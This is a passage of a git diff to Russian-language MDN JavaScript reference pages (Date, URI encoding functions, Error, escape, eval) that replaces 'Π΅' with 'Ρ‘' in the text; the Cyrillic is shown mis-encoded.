<h2 id="Specifications" name="Specifications">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
index 3cf8647e14..e9718854f2 100644
--- a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ миллисСкунд ΠΌΠ΅ΠΆΠ΄Ρƒ 1 января 1970 00:00:00 UTC ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ Π΄Π°Ρ‚ΠΎΠΉ.</p>
+<p>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ миллисСкунд ΠΌΠ΅ΠΆΠ΄Ρƒ 1 января 1970 00:00:00 UTC ΠΈ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ Π΄Π°Ρ‚ΠΎΠΉ.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
index f603359b99..a4991d3e79 100644
--- a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
<p>НСт.</p>
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>toUTCString()</code>, являСтся Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠΉ строкой Π² часовом поясС <abbr title="ВсСмирноС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ врСмя">UTC</abbr>. Π€ΠΎΡ€ΠΌΠ°Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ значСния зависит ΠΎΡ‚ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹. НаиболСС распространСнным Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ являСтся форматированная ΠΏΠΎ RFC-1123 врСмСнная ΠΌΠ΅Ρ‚ΠΊΠ°, которая являСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ вСрсиСй Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΊΠΈ RFC-822.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>toUTCString()</code>, являСтся Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠΉ строкой Π² часовом поясС <abbr title="ВсСмирноС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ врСмя">UTC</abbr>. Π€ΠΎΡ€ΠΌΠ°Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ значСния зависит ΠΎΡ‚ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹. НаиболСС распространённым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ являСтся форматированная ΠΏΠΎ RFC-1123 врСмСнная ΠΌΠ΅Ρ‚ΠΊΠ°, которая являСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ вСрсиСй Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΊΠΈ RFC-822.</p>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
index 8e7562ad05..98b6336f42 100644
--- a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
+++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
<h3 id="Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ">Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ</h3>
-<p>ΠŸΡ€ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании Π²Ρ‹Π΄Π°Π΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("URIError")}} ("Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ URI").</p>
+<p>ΠŸΡ€ΠΈ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ использовании Π²Ρ‹Π΄Π°Ρ‘Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{jsxref("URIError")}} ("Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ URI").</p>
<h2 id="Description" name="Description">ОписаниС</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
index 9b6c6d7382..65e8cfda73 100644
--- a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
+++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
@@ -82,7 +82,7 @@ console.log(encodeURIComponent('\uD800'));
// ΠΎΠ΄ΠΈΠ½ Π½ΠΈΠ·ΠΊΠΈΠΉ суррогат бросит "URIError: malformed URI sequence"
console.log(encodeURIComponent('\uDFFF'));</code></pre>
-<p>Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ слСдуя Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ свСТСй <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹ΠΌΠΈΒ (для IPv6) ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ URLΒ (Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊΒ Π΄ΠΎΠΌΠ΅Π½), ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ сниппСт ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚:</p>
+<p>Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ слСдуя Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ свСТСй <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹ΠΌΠΈΒ (для IPv6) ΠΈ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π΅Π³ΠΎΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ URLΒ (Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊΒ Π΄ΠΎΠΌΠ΅Π½), ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ сниппСт ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚:</p>
<pre class="brush: js">function fixedEncodeURI (str) {
return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
index a0c6b028db..7493e53632 100644
--- a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
+++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
---
<div>{{jsSidebar("Objects")}}</div>
-<p><code><strong>encodeURIComponent()</strong></code>Β - ΠΌΠ΅Ρ‚ΠΎΠ΄,Β ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° рСсурса (URI) Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ символов одной, двумя, трСмя ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡΒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡΠΌΠΈ символов, прСдставлСнных Π²Β ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅Β UTF-8 Β (Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 4 ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ…Β ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ для символов, состоящих ΠΈΠ· 2 "суррогатных" символов).</p>
+<p><code><strong>encodeURIComponent()</strong></code>Β - ΠΌΠ΅Ρ‚ΠΎΠ΄,Β ΠΊΠΎΠ΄ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎΒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° рСсурса (URI) Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ символов одной, двумя, трСмя ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡΒ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡΠΌΠΈ символов, прСдставлСнных Π²Β ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ΅Β UTF-8 Β (Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 4 ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ…Β ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ для символов, состоящих ΠΈΠ· 2 "суррогатных" символов).</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html
index 90a108b2a4..6ac3ffc666 100644
--- a/files/ru/web/javascript/reference/global_objects/error/index.html
+++ b/files/ru/web/javascript/reference/global_objects/error/index.html
@@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Error
<h3 id="ИспользованиС_ΠΊΠ°ΠΊ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">ИспользованиС ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h3>
-<p>Когда <code>Error</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-- Π±Π΅Π· {{jsxref("Operators/new", "new")}}, ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>Error</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ простой Π²Ρ‹Π·ΠΎΠ² <code>Error</code>Β ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ конструктор <code>Error</code> ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π΅Π· <code>new</code>.</p>
+<p>Когда <code>Error</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-- Π±Π΅Π· {{jsxref("Operators/new", "new")}}, ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ <code>Error</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ простой Π²Ρ‹Π·ΠΎΠ² <code>Error</code>Β ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Ρ‘Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ конструктор <code>Error</code> ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π΅Π· <code>new</code>.</p>
<pre><code>// this:
const x = Error('I was created using a function call!');
diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html
index edc41f8259..05ae768fd4 100644
--- a/files/ru/web/javascript/reference/global_objects/escape/index.html
+++ b/files/ru/web/javascript/reference/global_objects/escape/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/escape
---
<div>{{jsSidebar("Objects")}} {{deprecated_header}}</div>
-<p>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>escape()</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ строку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ символы Π·Π°ΠΌΠ΅Π½Π΅Π½Ρ‹ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.Β Β Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β {{jsxref("encodeURI")}} ΠΈΠ»ΠΈ {{jsxref("encodeURIComponent")}} вмСсто Π½Π΅Π³ΠΎ.</p>
+<p>Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><strong>escape()</strong></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ строку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ символы Π·Π°ΠΌΠ΅Π½Π΅Π½Ρ‹ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.Β Β Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹Β {{jsxref("encodeURI")}} ΠΈΠ»ΠΈ {{jsxref("encodeURIComponent")}} вмСсто Π½Π΅Π³ΠΎ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html
index 0c32530435..49bec21796 100644
--- a/files/ru/web/javascript/reference/global_objects/eval/index.html
+++ b/files/ru/web/javascript/reference/global_objects/eval/index.html
@@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval
<p><code>eval()</code> ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для вычислСния значСния арифмСтичСского выраТСния, записанного Π² строковом Π²ΠΈΠ΄Π΅, Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ стадии исполнСния. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, сущСствуСт пСрСмСнная <code>x</code>. МоТно ΠΎΡ‚Π»ΠΎΠΆΠΈΡ‚ΡŒ вычислСниС выраТСния, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ содСрТится <code>Ρ…</code>, Ссли ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ это Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π² Π²ΠΈΠ΄Π΅ строки (допустим, "<code>3 * x + 2</code>"), Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>eval()</code> Π² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΊΠΎΠ΄Π°.</p>
-<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ <code>eval()</code>, Π½Π΅ являСтся строкой, <code>eval() </code>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ конструктор <code>String</code>, ΠΈ <code>eval()</code> Π½Π΅ вычисляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ выраТСния, записанного Π² строковом Π²ΠΈΠ΄Π΅, Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <code>String</code>.</p>
+<p>Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ <code>eval()</code>, Π½Π΅ являСтся строкой, <code>eval() </code>Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½Ρ‹ΠΌ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ конструктор <code>String</code>, ΠΈ <code>eval()</code> Π½Π΅ вычисляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ выраТСния, записанного Π² строковом Π²ΠΈΠ΄Π΅, Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° <code>String</code>.</p>
<pre class="brush:js notranslate">eval(new String("2 + 2")); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° String, содСрТащий "2 + 2"
eval("2 + 2"); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 4
@@ -62,7 +62,7 @@ eval(expression.toString());
var x = 2, y = 4;
console.log(eval("x + y")); Β // ΠŸΡ€ΡΠΌΠΎΠΉ Π²Ρ‹Π·ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ области видимости, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ - 6
var geval = eval;
- console.log(geval("x + y")); // НСпрямой Π²Ρ‹Π·ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости, бросит ReferenceError, Ρ‚.ΠΊ. `x` - Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½
+ console.log(geval("x + y")); // НСпрямой Π²Ρ‹Π·ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости, бросит ReferenceError, Ρ‚.ΠΊ. `x` - Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½
}
</pre>
@@ -93,7 +93,7 @@ var result = obj[ propname ]; // obj[ "a" ] Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ obj.a
<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_вмСсто_исполнСния_Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ²_ΠΊΠΎΠ΄Π°">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вмСсто исполнСния Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ² ΠΊΠΎΠ΄Π°</h3>
-<p>Π£ JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ класса</a>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ свойствах ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. МногиС DOM API созданы с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ этого, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ (ΠΈ Π²Π°ΠΌ слСдуСт) ΠΏΠΈΡΠ°Ρ‚ΡŒ:</p>
+<p>Π£ JavaScript <a class="external" href="http://en.wikipedia.org/wiki/First-class_function" title="http://en.wikipedia.org/wiki/First-class_function">Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ класса</a>, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ свойствах ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. МногиС DOM API созданы с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ 